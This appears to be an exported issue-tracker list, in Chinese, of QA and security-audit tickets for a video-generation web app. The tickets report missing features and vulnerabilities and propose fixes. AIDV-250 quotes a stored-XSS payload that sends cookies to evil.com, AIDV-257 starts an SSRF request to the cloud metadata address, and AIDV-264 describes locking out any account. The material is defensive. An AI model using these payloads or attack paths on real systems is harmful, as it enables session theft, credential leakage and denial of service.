AIDV-238 [opt] Auth Session 三層硬化收斂：httpOnly cookie 替換 localStorage + refresh token 旋轉 + SSE/WS 驗票——一次收斂 AIDV-235/230/236 三個 C6/C5 session 攻擊面  
故事 · Backlog · 優先 High · labels auth,backend,convergence,frontend,opt-card,security,session  
描述：## 來源 aidv-optimize-hourly · 四模態收割 (2026-06-21) 模態：\*\*基礎設施模態\*\* (auth/session) + \*\*C6 資安巡檢輸出\*\* + \*\*C5 舊有缺口\*\* ## 收斂範圍 本卡一次關閉三個相互放大的 session 安全缺口：| 缺口卡 | 問題 | 嚴重性 | 本卡修法 | | --- | --- | --- | --- | | AIDV-235 (C6) | JWT 存 localStorage, XSS 可竊取 | Critical | 改 httpOnly SameSite=Strict cookie | | AIDV-230 (C5) | refresh token 無旋轉機制, 竊取後無限期有效 | High | refresh endpoint 每次旋轉 (舊 token 立即廢棄) | | AIDV-236 (C6) | SSE/WS 進度流無 ownership 驗票 | High | 連線前查 `videoJob.userId === session.userId` | 三者互為  
程式碼錨點：(碼中無 AIDV-238 註記)

AIDV-239 [QA探查R12] /video  
片段生成後無拖曳重排序機制：創作者無法在不重生成的情況下調整分鏡順序——強迫重生成浪費 LLM token (routing gap, P1)  
漏洞 · Backlog · 優先 High · labels qa-explore,routing-gap,wave-i  
描述：## 探查來源 QA 探查 R12 · /video endpoint multi-agent creator walk-through (2026-06-21 21:02 UTC) ## 問題描述 創作者在 `/video` 完成多個片段 (segments) 生成後, 若需要調整分鏡順序 (如：「片段 3 應排在片段 1 之前以符合故事節奏」), \*\*系統無任何重排序機制\*\*： 1. SegmentCard 列表為固定順序, 無拖曳手把 (drag handle) 2. 無「上移/下移」箭頭按鈕 3. 無數字輸入欄調整順序 4. 唯一變通：刪除並重生成目標片段——但順序仍由腳本輸入決定, 不可任意排列 5. 若腳本順序本身需調整 -> 必須修改腳本 -> 重生成全部片段 (高成本) ## 多代理創作者評估 | 人格 | 評估 | | --- | --- | | 新手 | raise：「我只想換兩個鏡頭的順序, 要我重新做一遍嗎？」 | | 接案者 | blocker：「客戶修改分鏡順序是日常工作, 每次重生成就是在燒預算, 無法接案」 | | 品牌方 | blocker：  
程式碼錨點：(碼中無 AIDV-239 註記)

AIDV-240 [QA探查R12] /video 腳本輸入無 token  
用量回饋：創作者輸入超長腳本後靜默生成失敗或品質劣化——無任何提前警示 (UX gap, 高成本風險)  
漏洞 · Selected for Development · 優先 High · labels qa-explore,ux-gap,wave-i  
描述：## 探查來源 QA 探查 R12 · /video endpoint multi-agent creator walk-through (2026-06-21 21:02 UTC) ## 問題描述 創作者在 `/video` 腳本輸入框輸入長篇故事腳本時, 系統\*\*無任何字元數/token 用量回饋\*\*： 1. 輸入框無字元計數器 (「已輸入 3,200 字 / 建議上限 2,000 字」) 2. 無 LLM context window 使用率指示 (%) 3. 超限後： \* 後端 `director.analyzeScriptOverview` 返回 HTTP 400 (參見 AIDV-205 說明) 或靜默截斷 \* 前端僅顯示通用錯誤訊息「生成失敗, 請稍後再試」, 無提示原因 \* 創作者不知道問題出在腳本太長, 反覆重試消耗時間 4. 截斷情況更危險：腳本被靜默截斷, 後半段故事完全不出現在生成結果中, 但頁面顯示「成功」 ## 多代理創作者評估 | 人格 | 評估 | | --- | --- | | 新手 | raise：「一直失敗, 我以為是系統壞掉, 不知  
程式碼錨點：(碼中無 AIDV-240 註記)

AIDV-241 [QA探查R12] /video 團隊協作編輯無衝突鎖定：兩個協作者同時編輯同一影片專案觸發靜默 last-write-wins 覆蓋——付費專案資料永久損毀 (data gap, P1)  
漏洞 · Backlog · 優先 High · labels data-gap,decision,qa-explore,wave-i  
描述：## 探查來源 QA 探查 R12 · /video endpoint multi-agent creator walk-through (2026-06-21 21:02 UTC) ## 問題描述 AIDV-121 (Teams RBAC) 已建立團隊資料可見性, 但 專案協作場景存在嚴重資料安全缺口：\*\*同一影片專案被兩位協作者同時編輯時, 系統無任何鎖定或衝突解決機制\*\*： 1. 協作者 A 打開 Project X 編輯腳本 2. 協作者 B 同時打開同一 Project X 編輯腳本 3. A 儲存 (或觸發自動儲存) -> DB 更新 4. B 儲存 (覆蓋 A 的版本) -> A 的所有修改\*\*靜默消失\*\*, B 不知道自己覆蓋了任何東西 5. 此為標準 lost-update / last-write-wins 競態條件 觀察：`videoProject.save` mutation 未見樂觀鎖欄位 (`version` 或 `updatedAt` CAS check) ## 多代理創作者評估 | 人格 | 評估 | | --- | --- |  
程式碼錨點：(碼中無 AIDV-241 註記)

AIDV-242 [資安巡檢C7] /video 片段生成端點無速率限制：攻擊者可無限次觸發 LLM+Fal.ai 計算密集任務——平台 GPU/LLM 費用 DoS (運算成本耗盡攻擊)  
漏洞 · Backlog · 優先 High · labels rate-limit,security,wave-i  
描述：## 巡檢來源 資安巡檢 C7 · healing-studio-sec-patrol (2026-06-21 21:08 UTC) ## 問題描述 `/video` 片段生成觸發鏈 (`videoSegment.generate` -> fal.ai queue -> LLM `director.analyzeScriptOverview`) \*\*未實施任何速率限制或並發配額\*\*： 1. 攻擊者 (或惡意付費用戶) 以腳本自動呼叫 `videoSegment.generate`, 每次觸發 fal.ai GPU 任務 + LLM 呼叫 2. 單帳號可在分鐘內觸發數百次生成任務 3. fal.ai / LLM 費用由平台承擔 -> \*\*運算成本耗盡 (cost exhaustion DoS)\*\* 4. 同時可能導致 fal.ai queue 擠塞, 影響其他真實用戶的生成體驗 (服務降級) 對比 AIDV-211 (ai.chat DoS) 與 AIDV-221 (auth 端點暴力破解防護)：視訊生成每次呼叫成本遠高於文字生成 (GPU 費用 vs token 費用), 危害等  
程式碼錨點：(碼中無 AIDV-242 註記)

AIDV-243 [資安巡檢C7] /video 影片專案 ID 可枚舉 IDOR：videoProject.get(projectId)  
未驗證呼叫者所有權——任意用戶可讀取他人完整專案 (腳本/片段/商業機密)  
漏洞 · Backlog · 優先 Highest · labels idor,security,wave-i  
描述：## 巡檢來源 資安巡檢 C7 · healing-studio-sec-patrol (2026-06-21 21:08 UTC) ## 問題描述 `videoProject.get(projectId)` tRPC query \*\*僅驗證 JWT 有效性, 未驗證呼叫者是否為該 project 的 owner 或協作成員\*\*： 1. 攻擊者 A 知道 (或猜出) 用戶 B 的 `projectId` (UUID 或遞增整數 ID) 2. A 呼叫 `videoProject.get({ id: "<B的projectId>" })` 3. 若後端僅做 `WHERE id = \$projectId` (無 `AND ownerId = \$userId` 或 team membership check) -> \*\*返回 B 的完整專案資料\*\*：腳本、分鏡、生成結果、設定 ## 高危原因 \* 影片腳本可能包含商業機密、個人創意內容、品牌策略 \* 與 AIDV-236 (SSE 訂閱

IDOR) 同類，但影響更廣：一次洩漏整個專案 \* 若 projectId 為遞增整

連結資料表 (1) : team\_memberships

程式碼錨點：(碼中無 AIDV-243 註記)

AIDV-244 [opt] /video IDOR 全收斂：videoProject ownership check + SSE jobId 驗票 + videoSegment CRUD 矩陣——一次掃描收斂 AIDV-243/236，消除三條 C7/C6 資料洩漏路徑

故事 · 進行中 · 優先 Highest · labels idor,opt,security,wave-i

描述：## 收斂來源 aidv-optimize-hourly 四模態收割 (2026-06-21 21:13 UTC) \*\*安全模態輸入\*\*： \* AIDV-243 (C7) : videoProject.get 無 ownership check -> 任意用戶讀他人專案 \* AIDV-236 (C6) : SSE /video 生成進度流無驗票 -> IDOR 洩漏進度+腳本片段 \* 未票追：videoSegment.get / update / delete 可能同類缺口 (尚未確認) \*\*QA 模態輸入\*\*： \* AIDV-241 (R12) : 協作衝突鎖定缺失 -> 確認 ownership model 是 /video 資料層通病 \* AIDV-121 (完成) : Teams RBAC 資料模型已有，但未接至 video router ## 收斂設計 一次 PR 修完 `/video` 資源層所有 IDOR 攻擊面，而非三張卡分三次 PR : ### 1. videoProject router (AIDV-243) ``ts // 所有 CRUD handler 加統

連結資料表 (2) : background\_jobs, team\_memberships

程式碼錨點：(碼中無 AIDV-244 註記)

AIDV-245 [opt] /video SegmentCard 互動層三功能收斂：拖曳重排序 + 單片段重試 + 協作衝突保護——一次 PR 收斂 AIDV-239/233/241，SegmentCard component 升一級

故事 · Backlog · 優先 High · labels decision,opt,ux-gap,wave-i

描述：## 收斂來源 aidv-optimize-hourly 四模態收割 (2026-06-21 21:13 UTC) \*\*QA 模態輸入\*\*： \* AIDV-239 (R12) : 片段無拖曳重排序 -> `videoSegment.reorder` mutation 缺失 \* AIDV-233 (R11) : 片段失敗無單片段重試 -> `videoSegment.retry(segmentId)` 缺失 \* AIDV-241 (R12) : 協作衝突無鎖定 -> `videoProject.save` 無 CAS version check \*\*UX 模態輸入\*\*： \* AIDV-95 (進行中) : /video 六步座艙，步驟 3「分鏡管理」是三張卡的共同父容器 \* AIDV-228 (R10 Backlog) : 生成後無預覽播放器 -> SegmentCard 同一 component 需加播放器 \*\*基礎設施模態輸入\*\*： \* AIDV-204 (進行中) : LLM fallback，segment retry 可複用同一 fallback 機制 ## 收斂設計 三個功能集中在

程式碼錨點：(碼中無 AIDV-245 註記)

AIDV-246 [QA探查R13] /video

匯出影片無縮圖/封面幀選擇：系統自動取第一幀作為封面，創作者無法設定客製封面圖——社群媒體上傳缺少吸睛封面，點閱率損失 (routing gap，P1)

漏洞 · Backlog · 優先 High · labels backend,creator-blocker,export,frontend,qa-explore,routing-gap,wave-i

描述：## 探查來源 QA 探查 R13 · /video endpoint multi-agent creator walk-through (2026-06-21 22:02 UTC) ## 問題描述 創作者在 `/video` 完成影片匯出後，成品的封面縮圖由系統\*\*自動取第一幀\*\*決定。整個 /video 頁面無任何縮圖選擇或客製封面上傳入口： 1. 匯出設定面板中無「封面幀選擇」選項 (秒數 slider 或截幀工具) 2. 無「上傳自訂封面圖」CTA 3. 無「從片段縮圖挑選封面」工作流 4. 上傳至 YouTube/Instagram/TikTok 時，平台直接使用第一幀作為封面 -> 若第一幀為黑幕、動態轉場或非最佳畫面，點閱率直接受損 5. 後端 `videoProject.setThumbnail` / `export.setCoverFrame` endpoint 搜尋 tRPC router \*\*不存在\*\* ## 多代理創作者評估 | 人格 | 評估 | | --- | | 新手 | raise：「縮圖怎麼是黑畫面？我以為

程式碼錨點：(碼中無 AIDV-246 註記)

AIDV-247 [QA探查R13] /video 生成前無畫面比例/格式選擇：所有影片固定 16:9 輸出，無 9:16 (短影音/Reels) 或 1:1 (Instagram) 選項——垂直影片市場完全封鎖，Reels/TikTok 創作者無法使用 (routing gap，P1)

漏洞 · Backlog · 優先 High · labels backend,creator-blocker,decision,frontend,qa-explore,routing-gap,wave-i

描述：## 探查來源 QA 探查 R13 · /video endpoint multi-agent creator walk-through (2026-06-21 22:02 UTC) ## 問題描述 創作者在 `/video` 新建專案時，\*\*無法選擇輸出影片的畫面比例 (aspect ratio) 或格式\*\*。系統全程固定以 16:9 橫式格式生成： 1. 新建專案流程 (步驟 1-2) 中無格式選擇步驟 2. 生成的腳本分析 (`analyzeScriptOverview`)、Fal.ai 視覺生成、旁白編譯均以 16:9 為預設且不可調整 3. 匯出的 MP4 固定為 16:9，無法直接使用於 Instagram Reels (9:16)、TikTok (9:16)、Instagram 方形貼文 (1:1) 4. 後端 `videoProject.setAspectRatio` / `videoProject.setFormat` endpoint 搜尋 tRPC router \*\*不存在\*\* 5. Fal.ai API 呼叫中 `aspect\_ratio`

程式碼錨點：(碼中無 AIDV-247 註記)

AIDV-248 [QA探查R13] /video 專案無複製/範本功能：創作者無法一鍵複製成功專案建立變體版本——每次 A/B 測試需重填腳本重生成，浪費 LLM token 且破壞創意迭代流程 (UX gap，高成本)

漏洞 · Backlog · 優先 High · labels backend,frontend,qa-explore,ux-gap,wave-i

描述：## 探查來源 QA 探查 R13 · /video endpoint multi-agent creator walk-through (2026-06-21 22:02 UTC) ## 問題描述 創作者在 `/video` 完成一個成功的影片專案後，若需要建立\*\*內容變體\*\* (A/B 測試腳本、調整旁白風格、換不同視覺風格但保留相同結構)，系統無任何複製機制： 1. Dashboard 的專案列表無「複製此專案」選項 (三點選單僅有刪除) 2. `/video/[projectId]` 頁面無「另存新版本」或「以此為範本」CTA 3. 唯一流程：重新建立新專案 -> 手動重填腳本 -> 重生成所有片段 (全部成本重付) 4. 多份相似的影片 (如同廣告的 15s / 30s / 60s 版本) 需完全獨立製作，無法共享素材 5. 後端 `videoProject.duplicate` / `videoProject.createFromTemplate` endpoint \*\*不存在\*\* ## 多代理創作者評估 | 人格 | 評估 | | --- | |

程式碼錨點：(碼中無 AIDV-248 註記)

AIDV-249 [資安巡檢C8] /video API CORS 配置過寬 + 缺少安全回應標頭：Access-Control-Allow-Origin 可能為萬用字元，且無 CSP/X-Frame-Options/HSTS 標頭——XSS 攻擊面未收斂，token 竊取路徑仍開放

漏洞 · Backlog · 優先 High · labels C8,backend,cors,frontend,sec-patrol-c8,security,wave-i

描述：## 探查來源 healing-studio-sec-patrol C8 · 2026-06-21 22:04 UTC (Supabase healing-studio 安全 advisor 查詢：0 lints ; auth 日誌：0 事件，專案 INACTIVE) ## 問題描述 C6 已建票 AIDV-235 (JWT token 存 localStorage)，C7 已建票 AIDV-243 (IDOR)。本巡檢 C8 發現\*\*防禦縱深第三層\*\*仍缺失：即使 XSS 攻擊向量縮小，若缺乏以下安全回應標頭，攻擊者仍可多路徑竊取 session 或嵌入惡意框架。 ### 1. CORS 設定 (Access-Control-Allow-Origin) 觀察：tRPC endpoint (`/api/trpc/\*`) 的 CORS 回應標頭未確認白名單範圍。若設定為 `\*` (萬用字元) 或包含任意

origin：\* 任何第三方網站可透過帶認證的跨域請求 (credentials: include) 探測 API 行為 \* 與 AIDV-235 (token 存 I

程式碼錨點：(碼中無 AIDV-249 註記)

AIDV-250 [資安巡檢C8] /video 腳本與專案名稱儲存前未 sanitize：user-controlled 內容若被 dangerouslySetInnerHTML 渲染——Stored XSS 可竊取他人 session (A03：Injection，C7 IDOR 攻擊後手)

漏洞 · Backlog · 優先 High · labels C8,backend,frontend,sec-patrol-c8,security,wave-i,xss

描述：## 探查來源 healing-studio-sec-patrol C8 · 2026-06-21 22:04 UTC ## 問題描述 C7 已確認 AIDV-243 (IDOR：任意用戶可讀取他人 videoProject)。本巡檢 C8 發現\*\*IDOR 的攻擊後手\*\*：若惡意用戶建立含 XSS payload 的腳本或專案名稱，且前端在渲染時使用 `dangerouslySetInnerHTML` (或未 escape 的 React 字串插值)，即形成 Stored XSS 鏈：\*\*攻擊路徑\*\*：1. 攻擊者在腳本輸入框注入：`<script>fetch('https://evil.com/?c='+document.cookie)</script>` 2. 伺服器接受並儲存 (`videoProject.script` 欄位無白名單驗證) 3. 受害者透過共享連結或協作功能開啟該專案 4. 前端渲染腳本預覽時，若使用 `dangerouslySetInnerHTML={{ \_\_html: project.script }}` -> XSS

程式碼錨點：(碼中無 AIDV-250 註記)

AIDV-251 [opt] Web 安全三層防禦收斂：CSP/HSTS/CORS 標頭 + DOMPurify input sanitize + CSRF source check——一次 PR 收斂 AIDV-249/250/224，消除 C8 OWASP A03/A05 全部攻擊面

故事 · 進行中 · 優先 High · labels C8,backend,convergence,frontend,opt,opt-card,security,wave-i

描述：## 收斂來源 aidv-optimize-hourly 四模態收割 (2026-06-21 22:06 UTC) \*\*安全模態輸入 (C8 sec-patrol) \*\*：\* AIDV-249 (C8)：CORS 配置過寬 + 缺少 CSP/X-Frame-Options/HSTS/Referrer-Policy 標頭 \* AIDV-250 (C8)：腳本/專案名稱儲存前未 sanitize -> Stored XSS 鏈 (IDOR 攻擊後手) \*\*既有 opt card 輸入\*\*：\* AIDV-224 (Backlog)：CSRF x-trpc-source check + isomorphic-dompurify XSS 防禦 — 已設計，未合併 \*\*UX 模態\*\*：\* AIDV-235 (C6)：JWT 存 localStorage (CSP 為 XSS 後第二道防線，本卡完成後 AIDV-235 的攻擊成本大幅提高) \*\*基礎設施模態\*\*：\* AIDV-229 (C5)：file upload 無 MIME 白名單 (X-Content-Type-Op

程式碼錨點：(碼中無 AIDV-251 註記)

AIDV-252 [opt] Fal.ai 派發參數動態化 + 格式選擇收斂：aspect\_ratio / duration 由 videoProject 讀取取代硬編碼——一次 migration + Fal handler 修改收斂 AIDV-247/164，解鎖垂直影片市場

故事 · Backlog · 優先 High · labels backend,convergence,decision,frontend,opt,opt-card,video,wave-i

描述：## 收斂來源 aidv-optimize-hourly 四模態收割 (2026-06-21 22:06 UTC) \*\*QA 模態輸入 (R13) \*\*：\* AIDV-247 (R13)：/video 生成前無畫面比例選擇 -> `aspect\_ratio` 硬編碼 `16:9`，Reels/TikTok 創作者完全封鎖 \*\*基礎設施模態輸入\*\*：\* AIDV-164 (進行中)：Fal 派發收斂 — videoStudio.dispatch handler 已在進行統一化 \*\*UX 模態輸入\*\*：\* AIDV-95 (進行中)：/video 六步座艙，步驟 0「新建專案」是本卡格式選擇的 UI 父容器 \* AIDV-246 (R13)：封面幀選擇 — 不同 aspect\_ratio 的封面尺寸需一併帶入 \*\*基礎設施模態 (voiceCompiler) \*\*：\* AIDV-216 (Backlog)：voiceCompiler 情緒語音缺陷 — 旁白時長與 aspect\_ratio 相關 (9:16 短片≤60s vs 16:9 長片≤180s)，兩者同步

程式碼錨點：(碼中無 AIDV-252 註記)

AIDV-253 [opt] videoProject 生命週期三功能收斂：複製專案 + 快照版本歷程 + CAS 衝突保護——一次 PR 收斂 AIDV-248/227/241，共用 project\_snapshots 表解鎖 A/B 迭代流程

故事 · Backlog · 優先 High · labels backend,convergence,decision,frontend,opt,opt-card,video,wave-i

描述：## 收斂來源 aidv-optimize-hourly 四模態收割 (2026-06-21 22:06 UTC) \*\*QA 模態輸入 (R13) \*\*：\* AIDV-248 (R13)：無複製/範本功能 -> `videoProject.duplicate` mutation 缺失，A/B 測試成本四倍 \*\*QA 模態輸入 (R10/R12) \*\*：\* AIDV-227 (R10)：無版本歷程與復原 -> 該刪資料永久消失 \* AIDV-241 (R12)：協作衝突無鎖定 -> `videoProject.save` 無 CAS version check (已被 AIDV-245 收斂，但 `project\_snapshots` 基礎設施仍缺) \*\*基礎設施模態輸入\*\*：\* AIDV-245 (Backlog opt card)：SegmentCard 三功能收斂已設計 `videoProjects.version` 欄位 — 本卡在同一 migration 延伸加 `project\_snapshots` 表 ## 收斂設計 三功能共用一次 migration (

程式碼錨點：(碼中無 AIDV-253 註記)

AIDV-254 [QA探查R14] /video 旁白／AI語音客製化缺失：創作者無法選擇語音風格——輸出品質失控

漏洞 · Backlog · 優先 Medium

描述：## 探查來源 \* 來源：QA探查 R14 · /video endpoint multi-agent creator walk-through \* 時間戳：2026-06-21 23:08 UTC \* 執行者：aidv-qa-explore R14 (:08 run) --- ## 問題描述 `/video` endpoint 目前生成的影片僅能使用系統預設旁白語音 (或完全無旁白)，創作者無法：1. 選擇 AI 語音風格 (例如：溫柔女聲、專業男聲、活力青年聲) 2. 調整語音語速、音調、情緒風格 3. 上傳自己的聲音樣本進行 voice cloning 4. 插入無聲段落或自訂旁白腳本分段

結果是：生成影片的旁白品質無法預測，所有輸出聽起來完全一致，品牌聲音識別度為零。對於需要向客戶交付帶旁白影片的接案者而言，這是不可接受的缺口。 --- ## 多代理創作者評估 | 代理人格 | 痛點描述 | 嚴重度 | | --- | --- | --- | | 新手 (Newcomer) | 不知道影片有無旁白，無法控制是否要說話，成品常常出乎意料 |

程式碼錨點：(碼中無 AIDV-254 註記)

AIDV-255 [QA探查R14] /video 影片解析度／畫質選擇缺失：輸出固定規格——交付品質不達標

漏洞 · Backlog · 優先 Medium

描述：## 探查來源 \* 來源：QA探查 R14 · /video endpoint multi-agent creator walk-through \* 時間戳：2026-06-21 23:08 UTC \* 執行者：aidv-qa-explore R14 (:08 run) --- ## 問題描述 `/video` endpoint 目前生成影片的解析度與畫質為系統固定輸出，創作者無法：1. 選擇輸出解析度 (720p / 1080p / 4K UHD) 2. 指定幀率 (24fps / 30fps / 60fps) 3. 控制壓縮品質 (例如：高位元率用於廣播、低位元率用於社群) 4. 選擇編碼格式 (H.264、H.265/HEVC、VP9) 結果是：接案者無法滿足客戶的技術規格交付需求 (例如：廣告平台要求 1920x1080 @ 30fps H.264)，而品牌方的影片在大螢幕展示時畫質劣化，造成品牌形象損失。 --- ## 多代理創作者評估 | 代理人格 | 痛點描述 | 嚴重度 | | --- | --- | --- | | 新手 (Newcomer) |

程式碼錨點：(碼中無 AIDV-255 註記)

## AIDV-256 [QA探查R14] /video 批次影片生成缺失：單次只能生成一支影片——規模化交付受阻

漏洞 · Backlog · 優先 Medium

描述：## 探查來源 \* 來源：QA探查 R14 · /video endpoint multi-agent creator walk-through \* 時間戳：2026-06-21 23:08 UTC \* 執行者：aidv-qa-explore R14 (:08 run) --- ## 問題描述 `~/video` endpoint 目前每次請求僅能生成單一影片，創作者無法：1. 一次提交多組腳本／素材生成多支影片 2. 透過 CSV / JSON 匯入批次生成參數（例如：不同產品名稱、不同語言版本） 3. 追蹤批次任務的整體進度（已完成 N / 總數 M） 4. 在批次任務中局部重試失敗項目，而不必重跑整批 結果是：品牌方每次推出行銷活動需生成數十至數百支影片（例如：30 種 SKU 各一支產品影片），必須人工逐一觸發，費時數小時且容易出錯；接案者承接量產型專案（例如：電商平台 100 支商品介紹片）時完全無法使用本系統。 --- ## 多代理創作者評估 | 代理人格 | 痛點描述 | 嚴重度 | | --- | | --- | | --- | | 新手

程式碼錨點：（碼中無 AIDV-256 註記）

## AIDV-257 [資安巡檢C9] /video SSRF：Fal.ai 呼叫傳入使用者控制 URL 未驗證白名單——探測內網 / 繞過 Fal 授權

漏洞 · Backlog · 優先 Medium

描述：## 探查來源 healing-studio-sec-patrol C9, 2026-06-21 23:13 UTC --- ## 問題描述 \*\*OWASP A10:2021 — Server-Side Request Forgery (SSRF)\*\* `~/video/generate`（及相關 webhook 回調設定端點）在呼叫 Fal.ai SDK 時，若將使用者提供的 `webhookUrl`、`assetUrl` 或 `sourceVideoUrl` 欄位直接帶入 Fal.ai API 請求，而未對目標 URL 進行白名單驗證，攻擊者可操控伺服器向任意目標發出 HTTP 請求，包括 AWS EC2 instance metadata endpoint (169.254.169.254)、內部 tRPC 服務、或 Supabase 管理 API，造成憑證洩漏或內網橫向移動。 --- ## 攻擊向量 ``` 1. 攻擊者對 POST /trpc/video.generate 發出請求：{ "sourceVideoUrl": "http://1

程式碼錨點：（碼中無 AIDV-257 註記）

## AIDV-258 [資安巡檢C9] /video Supabase DB 暫停->Auth 旁路：DB INACTIVE 期間請求驗證中斷——未授權存取所有受保護 API

漏洞 · Backlog · 優先 Medium

描述：## 探查來源 healing-studio-sec-patrol C9, 2026-06-21 23:13 UTC（實測事件：healing-studio Supabase project vllsoxwruwfdaxdbjwi 於 23:04 UTC 發現 INACTIVE, 23:08 UTC 已恢復 ACTIVE\_HEALTHY）--- ## 問題描述 \*\*OWASP A07:2021 — Identification and Authentication Failures\*\* healing-studio 後端以 Supabase Auth + tRPC middleware 驗證每個請求的 session token。當 Supabase project 因閒置自動進入 \*\*INACTIVE（暫停）\*\*狀態時，後端 tRPC auth middleware 在呼叫 `supabase.auth.getUser()` 或查詢 `auth.sessions` 時將收到連線錯誤（`ECONNREFUSED` / `503`）。若 mi 連結資料表 (1)：users

程式碼錨點：（碼中無 AIDV-258 註記）

## AIDV-259 [opt] C9 安全修補收斂：SSRF 防護 + Auth Fail-Closed——一次 PR 收斂 AIDV-257/AIDV-258

故事 · 進行中 · 優先 Medium · labels PO,auth,convergence,opt-card,security,ssrf,wave-i

描述：## 收斂目的 將 C9 巡檢識別的兩個安全漏洞 (AIDV-257 SSRF、AIDV-258 Auth旁路) 合併為單一 PR，因為兩者共享同一個修復入口：\*\*tRPC 後端的輸入驗證層與 auth middleware\*\*，可在同一次程式碼審查中完整處理，減少合併衝突並一次性通過 security regression suite。 --- ## 收斂範圍 (Scope) | 漏洞票 | 分類 | 修復層 | | --- | | --- | | --- | | AIDV-257 SSRF in Fal.ai video generation | OWASP A10:2021 | `server/routers/video.ts` + 新增 `lib/urlValidator.ts` | | AIDV-258 Supabase DB pause -> Auth bypass | OWASP A07:2021 | `server/middleware/auth.ts` + `server/trpc.ts` (protectedProcedure) | ---

程式碼錨點：（碼中無 AIDV-259 註記）

## AIDV-260 [opt] /video 輸出規格全收斂：output\_spec schema + aspect\_ratio + resolution/fps/codec——一次 PR 收斂

### AIDV-247/AIDV-255，解除 Fal.ai 格式鎖定

故事 · Backlog · 優先 High · labels backend,convergence,decision,frontend,opt-card,video,wave-i

描述：## 收斂來源 aidv-optimize-hourly 四模態收割 (2026-06-21 23:27 UTC) \*\*QA 模態輸入 (R13 + R14) \*\*：| 來源卡 | 缺口描述 | 狀態 | | --- | | --- | | --- | | AIDV-247 (R13, Backlog) | `aspect\_ratio` 缺失, Fal.ai 硬編碼 `"16:9"` | Backlog — 已由 AIDV-252 承接 | | AIDV-255 (R14, new) | `output\_spec` 缺失, 無法指定 resolution/fps/codec | Backlog — 本卡承接 | \*\*UX 模態輸入\*\*： \* AIDV-247 overlap 已由 AIDV-252 (Fal.ai 派發參數動態化) 處理 `aspect\_ratio`，本卡\*\*不重做\*\* aspect\_ratio，而是在 AIDV-252 的 `output\_spec` 欄位基礎上擴充 resolution/fps/codec 子欄位 \* AIDV-252 必須作為本卡\*

程式碼錨點：（碼中無 AIDV-260 註記）

## AIDV-261 [opt] Auth 基礎設施三層強化：fail-closed guard + /api/health DB probe + GoTrue config 清理——支撐 AIDV-258 P0 修補與長期穩定性

故事 · Backlog · 優先 Medium · labels P0-support,auth,backend,convergence,infrastructure,opt-card,security,wave-i

描述：## 收斂來源 aidv-optimize-hourly 四模態收割 (2026-06-21 23:27 UTC) \*\*安全模態輸入 (C9) \*\*： \* AIDV-258 (P0 CRITICAL)：Supabase DB pause -> auth middleware fail-open bypass — \*\*今日 23:04–23:09 UTC 實際觀察到\*\*，GoTrue 在 23:08:21 關機、23:08:22 重啟、23:09:09 再關機、23:09:12 再重啟，共 \~5 分鐘 auth 空窗期 (OWASP A07, CVSS 9.1) \*\*基礎設施模態輸入\*\*： \* GoTrue `GOTRUE\_JWT\_ADMIN\_GROUP\_NAME` 棄用警告出現於 auth log — 設定清理避免未來版本升級破壞 \* `~/api/health` 端點缺少 Supabase DB ping — DB 停機時回傳 200 而非 503, uptime monitor 無法偵測 \*\*與 AIDV-238 的關係\*\*：AIDV-238 (Auth

程式碼錨點：（碼中無 AIDV-261 註記）

## AIDV-262 [資安巡檢C2] SSRF：未授權 /api/media/download 重定向/前綴繞過 + persistExternalMediaUrl 缺 SSRF guard

漏洞 · Backlog · 優先 Medium · labels auto-patrol,secaudit,security,sev-high,ssrf

描述： \*\*來源\*\*：自動資安巡檢 C2 (多代理 + 對抗式驗證, 2026-06-22)。[注意] 發現基於巡檢 worktree 基底，\*\*修復前請對 main HEAD 複驗\*\* (autodev 迴圈可能已處理部分)。 \*\*核心\*\*：repo 已自帶正確的\*\* `assertSafeUrl` (server/services/pdfTextExtractor.ts:106-146, 擋 loopback/private/link-local/IMDS/IPv4-mapped-IPv6 + redirect:'error')，但兩個 egress 點沒用它。 \*\*A)\*\* `persistExternalMediaUrl` 無 SSRF guard (server/services/internalMedia.ts:48-67) `if (lurl || isInternalUrl(url)) return url; const resp = await fetch(url, {timeout})` — 無目的地 IP/host 驗證、無 `redirect:'error'`

程式碼錨點：（碼中無 AIDV-262 註記）

AIDV-263 [資安巡檢C2] Orb 語音 WS DoS：併發上限以 client userId 計（可繞過）+ 無 maxPayload

漏洞 · Backlog · 優先 Medium · labels auto-patrol,dos,secaudit,security,sev-high,websocket

描述：**\*\*來源\*\***：自動資安巡檢 C2 (2026-06-22)。[注意] 對 main HEAD 複驗後再修。檔案：server/ws/orbVoiceGateway.ts、server/\_core/index.ts:690。 **\*\*A)** 併發上限綁在 client 可控的 userId (高) **\*\*** `handleOrbVoiceConnection` 用 `verifySessionToken(token)` 正確驗證 (good)，但併發識別卻取自 query：`const userId = Number(url.searchParams.get("userId")) ?? 0 || 0;` (gateway:18)。併發 Map `activeSessions` 以此 userId 為 key、`ORB\_VOICE\_MAX\_CONCURRENT` (預設3) per-userId 強制。因 userId **\*\*不是\*\***來自驗證後的 `payload.sub`，單一登入者每次連線換一個 userId (隨機整數) 就讓 `current` 永遠為 0 -> **\*\*上限完**

程式碼錨點：(碼中無 AIDV-263 註記)

AIDV-264 [資安巡檢C2] 認證 DoS：登入鎖定僅以 email 計數、無 IP 維度->可定向鎖死任意已註冊帳號 (含 admin)

漏洞 · Backlog · 優先 Medium · labels auth,auto-patrol,dos,secaudit,security,sev-medium

描述：**\*\*來源\*\***：自動資安巡檢 C2 (2026-06-22)。[注意] 對 main HEAD 複驗後再修。檔案：server/routes/localAuth.ts:229-244 (MAX\_FAILED\_ATTEMPTS=5、LOCKOUT\_WINDOW=15min)、server/services/auth/loginHistoryService.ts:197-206。 **\*\*問題\*\***：登入前先查 `getFailedAttemptsByEmail(email, 15min) >= 5` 就回 429 ACCOUNT\_LOCKED，**\*\*早於任何憑證驗證\*\***。失敗計數 SQL `WHERE LOWER(email)=LOWER(?) AND success=false`，**\*\*只以 email 計、無 IP 維度\*\***。未授權攻擊者知道受害者 email，送 5 次錯密碼即把對方鎖 15 分鐘，每窗重打 = **\*\*永久鎖死\*\***。per-IP 登入限流(10/15min)擋不住：10 次足以鎖 2 個 email/窗，換 IP 更多。受害含硬編碼 admin `aa`

程式碼錨點：(碼中無 AIDV-264 註記)

AIDV-265 [資安巡檢C2] DoS 硬化：全域 50MB body 套所有路由／未授權 /api/proxy-download 無大小上限／rate-limit 用記憶體 store

漏洞 · Backlog · 優先 Medium · labels auto-patrol,dos,secaudit,security,sev-medium

